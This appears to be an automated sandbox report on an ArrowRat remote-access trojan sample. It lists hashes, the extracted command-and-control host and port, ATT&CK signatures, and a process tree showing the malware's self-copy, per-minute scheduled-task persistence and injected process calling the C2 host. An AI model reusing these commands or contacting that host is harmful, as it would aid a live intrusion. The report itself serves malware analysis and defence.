Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    24-09-2024 12:39

General

  • Target

    e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe

  • Size

    300.0MB

  • MD5

    135b97e053b660f8e6cacd58965b93cd

  • SHA1

    828e92ad30ac243ec063252a338519e4429940e3

  • SHA256

    e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027

  • SHA512

    6b19d2143f021feeccf5833b57fff55fbae3c72ea0eb480a893b48acd9ce2bdb0c895cd3516133436b4e937f97ee4e42ce58b4aa3729d1f3c29fa837bc19366c

  • SSDEEP

    12288:VD9TFmMwfrck/YEwEVhftq6rmIGD9P5X5U4LVkYdS7Ffi:KgERVNQ6Fq9hX5U4L94Zi

Malware Config

Extracted

Family

arrowrat

Botnet

Client

C2

vncnew1984.duckdns.org:1984

Mutex

ecZCILAfG

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Executes dropped EXE 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies registry class 5 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 15 IoCs
  • Suspicious use of FindShellTrayWindow 26 IoCs
  • Suspicious use of SendNotifyMessage 17 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe
    "C:\Users\Admin\AppData\Local\Temp\e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2784
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2532
      • C:\Windows\explorer.exe
        "C:\Windows\explorer.exe"
        3⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:2672
        • C:\Windows\system32\ctfmon.exe
          ctfmon.exe
          4⤵
            PID:2832
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG
          3⤵
          • System Location Discovery: System Language Discovery
          PID:2524
      • C:\Windows\SysWOW64\cmd.exe
        "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\kio"
        2⤵
        • System Location Discovery: System Language Discovery
        PID:2296
      • C:\Windows\SysWOW64\cmd.exe
        "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2976
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
          3⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:3008
      • C:\Windows\SysWOW64\cmd.exe
        "cmd" /c copy "C:\Users\Admin\AppData\Local\Temp\e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027.exe" "C:\Users\Admin\AppData\Roaming\kio\kio.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        PID:2560
    • C:\Windows\system32\taskeng.exe
      taskeng.exe {166E9952-0B80-47D7-8A6E-F9EBD7760777} S-1-5-21-4177215427-74451935-3209572229-1000:JSMURNPT\Admin:Interactive:[1]
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:1216
      • C:\Users\Admin\AppData\Roaming\kio\kio.exe
        C:\Users\Admin\AppData\Roaming\kio\kio.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1668
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          3⤵
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:1744
          • C:\Windows\explorer.exe
            "C:\Windows\explorer.exe"
            4⤵
              PID:1496
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG
              4⤵
                PID:2652
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG
                4⤵
                • System Location Discovery: System Language Discovery
                PID:1940
            • C:\Windows\SysWOW64\cmd.exe
              "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\kio"
              3⤵
              • System Location Discovery: System Language Discovery
              PID:2088
            • C:\Windows\SysWOW64\cmd.exe
              "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
              3⤵
              • System Location Discovery: System Language Discovery
              PID:1948
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
                4⤵
                • System Location Discovery: System Language Discovery
                • Scheduled Task/Job: Scheduled Task
                PID:2748
            • C:\Windows\SysWOW64\cmd.exe
              "cmd" /c copy "C:\Users\Admin\AppData\Roaming\kio\kio.exe" "C:\Users\Admin\AppData\Roaming\kio\kio.exe"
              3⤵
              • System Location Discovery: System Language Discovery
              PID:1020

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\TMP_pass

          Filesize

          46KB

          MD5

          02d2c46697e3714e49f46b680b9a6b83

          SHA1

          84f98b56d49f01e9b6b76a4e21accf64fd319140

          SHA256

          522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9

          SHA512

          60348a145bfc71b1e07cb35fa79ab5ff472a3d0a557741ea2d39b3772bc395b86e261bd616f65307ae0d997294e49b5548d32f11e86ef3e2704959ca63da8aac

        • memory/1668-38-0x0000000000AF0000-0x0000000000BAC000-memory.dmp

          Filesize

          752KB

        • memory/1744-50-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

          Filesize

          4KB

        • memory/1940-63-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

          Filesize

          4KB

        • memory/2524-25-0x0000000000400000-0x0000000000416000-memory.dmp

          Filesize

          88KB

        • memory/2524-26-0x0000000000400000-0x0000000000416000-memory.dmp

          Filesize

          88KB

        • memory/2524-28-0x0000000000400000-0x0000000000416000-memory.dmp

          Filesize

          88KB

        • memory/2524-16-0x0000000000400000-0x0000000000416000-memory.dmp

          Filesize

          88KB

        • memory/2524-18-0x0000000000400000-0x0000000000416000-memory.dmp

          Filesize

          88KB

        • memory/2524-20-0x0000000000400000-0x0000000000416000-memory.dmp

          Filesize

          88KB

        • memory/2524-22-0x0000000000400000-0x0000000000416000-memory.dmp

          Filesize

          88KB

        • memory/2524-24-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

          Filesize

          4KB

        • memory/2532-7-0x0000000000400000-0x0000000000460000-memory.dmp

          Filesize

          384KB

        • memory/2532-14-0x0000000000400000-0x0000000000460000-memory.dmp

          Filesize

          384KB

        • memory/2532-11-0x0000000000400000-0x0000000000460000-memory.dmp

          Filesize

          384KB

        • memory/2532-5-0x0000000000400000-0x0000000000460000-memory.dmp

          Filesize

          384KB

        • memory/2532-8-0x0000000000400000-0x0000000000460000-memory.dmp

          Filesize

          384KB

        • memory/2532-9-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

          Filesize

          4KB

        • memory/2532-15-0x0000000000400000-0x0000000000460000-memory.dmp

          Filesize

          384KB

        • memory/2532-6-0x0000000000400000-0x0000000000460000-memory.dmp

          Filesize

          384KB

        • memory/2672-54-0x0000000004320000-0x0000000004330000-memory.dmp

          Filesize

          64KB

        • memory/2784-0-0x00000000746BE000-0x00000000746BF000-memory.dmp

          Filesize

          4KB

        • memory/2784-4-0x00000000746B0000-0x0000000074D9E000-memory.dmp

          Filesize

          6.9MB

        • memory/2784-3-0x00000000746BE000-0x00000000746BF000-memory.dmp

          Filesize

          4KB

        • memory/2784-29-0x00000000746B0000-0x0000000074D9E000-memory.dmp

          Filesize

          6.9MB

        • memory/2784-2-0x00000000746B0000-0x0000000074D9E000-memory.dmp

          Filesize

          6.9MB

        • memory/2784-1-0x00000000010E0000-0x000000000119C000-memory.dmp

          Filesize

          752KB